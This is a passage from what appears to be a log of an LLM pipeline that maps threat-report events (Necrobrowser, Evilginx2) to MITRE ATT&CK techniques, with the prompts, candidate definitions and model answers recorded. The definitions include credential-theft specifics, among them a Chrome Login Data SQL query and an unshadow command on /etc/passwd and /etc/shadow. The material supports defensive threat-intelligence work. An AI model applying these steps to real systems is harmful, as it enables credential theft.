discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla.\n\nCANDIDATE 5\nATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page.\n\nCANDIDATE 6\nATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS\nLabeled report example: | T1503 | Credentials from Web Browsers |\n\nCANDIDATE 7\nATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 8\nATT&CK technique: T1606.001 Web Cookies\nDescription: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Linux, SaaS, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: **Password stealer:** M00nD3V Logger has the capability to steal passwords and cookies from all possible browsers and email clients, as well as FTP clients.", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\"selected_index\":0,\"support\":\"supported\",\"evidence_quote\":\"Once the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser\",\"rationale\":\"The quote states the actor harvested a session cookie to deploy Necrobrowser, matching T1539 Steal Web Session Cookie definition of stealing cookies for access.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 2906, + "completion_tokens": 75, + "total_tokens": 2981 + } + }, + "evidence_sha256": "3fa935ffa6c30a862dd8f7df2321e6224623f4351dd2145d6df3ec615bd83e6b" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3486.8, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Necrobrowser\nAction: change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories\nObject: passwords, Google Workspace notifications, emails, SSH session keys in GitHub, code repositories\nTool: Necrobrowser\nTarget: target site\n\nSOURCE QUOTE\ndo things such as change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories\n\nCANDIDATE 0\nATT&CK technique: T1098 Account Manipulation\nDescription: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.\nTactics: persistence, privilege escalation\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 1\nATT&CK technique: T1213.003 Code Repositories\nDescription: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or Unsecured Credentials contained within software's source code. Having access to software's source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts. **Note:** This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.\nTactics: collection\nPlatforms: SaaS\n\nCANDIDATE 2\nATT&CK technique: T1593.003 Code Repositories\nDescription: Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing). **Note:** This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 3\nATT&CK technique: T1114.002 Remote Email Collection\nDescription: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.\nTactics: collection\nPlatforms: Office Suite, Windows\n\nCANDIDATE 4\nATT&CK technique: T1087.003 Email Account\nDescription: Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs). In on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session. In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.\nTactics: discovery\nPlatforms: Office Suite, Windows\n\nCANDIDATE 5\nATT&CK technique: T1531 Account Access Removal\nDescription: Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts. Adversaries may also subsequently log off and/or perform a System Shutdown/Reboot to set malicious changes into place. In Windows, Net utility, Set-LocalUser and Set-ADAccountPassword PowerShell cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`). Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as Data Destruction and Defacement, in order to impede incident response/recovery before completing the Data Encrypted for Impact objective.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 6\nATT&CK technique: T1003.008 /etc/passwd and /etc/shadow\nDescription: Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user. Linux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A \"user\" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts. Adversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command. Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db. Since the user information stored in /etc/passwd are linked to the password hashes in /etc/shadow, an adversary would need to have access to both.\nTactics: credential access\nPlatforms: Linux\n\nCANDIDATE 7\nATT&CK technique: T1098.004 SSH Authorized Keys\nDescription: Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under /.ssh/authorized_keys (or, on ESXi, `/etc/ssh/keys-/authorized_keys`). Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH. The SSH config file is usually located under /etc/ssh/sshd_config. Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account. Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH. It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user. Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. SSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command.\nTactics: persistence, privilege escalation\nPlatforms: ESXi, IaaS, Linux, Network Devices, macOS\n\nCANDIDATE 8\nATT&CK technique: T1114 Email Collection\nDescription: Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.\nTactics: collection\nPlatforms: Linux, Office Suite, Windows, macOS\nLabeled report example: * Email password stealer (MailPassView)\n\nCANDIDATE 9\nATT&CK technique: T1586.002 Email Accounts\nDescription: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains). A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.\nTactics: resource development\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": 0,\n \"support\": \"supported\",\n \"evidence_quote\": \"change passwords, disable Google Workspace notifications, change SSH session keys in GitHub\",\n \"rationale\": \"The quote describes modifying credentials and access controls to maintain or elevate access, which aligns with the definition of Account Manipulation.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 2651, + "completion_tokens": 76, + "total_tokens": 2727 + } + }, + "evidence_sha256": "382be083ea1989fd9949cbc4c736949e1038d0dbfd012b8a9aec291252913b06" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3989.5, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Evilginx2\nAction: acts as\nObject: transparent reverse proxy\nTool: Evilginx2\n\nSOURCE QUOTE\nEvilginx2 is an easy to use, transparent reverse proxy written in Golang\n\nCANDIDATE 0\nATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: *Figure 19: Communication via proxy.*\n\nCANDIDATE 1\nATT&CK technique: T1090.002 External Proxy\nDescription: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 2\nATT&CK technique: T1090.001 Internal Proxy\nDescription: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 3\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1218 System Binary Proxy Execution\nDescription: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.\nTactics: stealth\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 5\nATT&CK technique: T1127 Trusted Developer Utilities Proxy Execution\nDescription: Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions. Smart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them. However, adversaries may leverage \"reputation hijacking\" to abuse an operating system’s trust of safe, signed applications that support the execution of arbitrary code. By leveraging Trusted Developer Utilities Proxy Execution to run their malicious code, adversaries may bypass Smart App Control protections.\nTactics: execution, stealth\nPlatforms: Windows\n\nCANDIDATE 6\nATT&CK technique: T1090.003 Multi-hop Proxy\nDescription: Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 7\nATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.\n\nCANDIDATE 8\nATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1496.004 Cloud Service Hijacking\nDescription: Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. For example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / Phishing emails and SMS messages. Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models. In some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service. Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.\nTactics: impact\nPlatforms: SaaS", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n\n\"selected_index\": 7, \"support\": \"supported\", \"evidence_quote\": \"Evilginx2 is an easy to use, transparent reverse proxy written in Golang\", \"rationale\": \"The quote describes Evilginx2 as a transparent reverse proxy, which aligns with the Adversary-in-the-Middle technique where adversaries position themselves between networked devices to intercept traffic.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3308, + "completion_tokens": 85, + "total_tokens": 3393 + } + }, + "evidence_sha256": "1721b5b272aa2faab55fa952321c610ce67c4bbded02fcb67b80395f161dd06e" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 4466.2, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Evilginx2\nAction: configure\nObject: server\nTool: Evilginx2\nTarget: multiple brands\n\nSOURCE QUOTE\nUtilizing these “phishlets,” you can configure the server to phish multiple brands at once\n\nCANDIDATE 0\nATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused 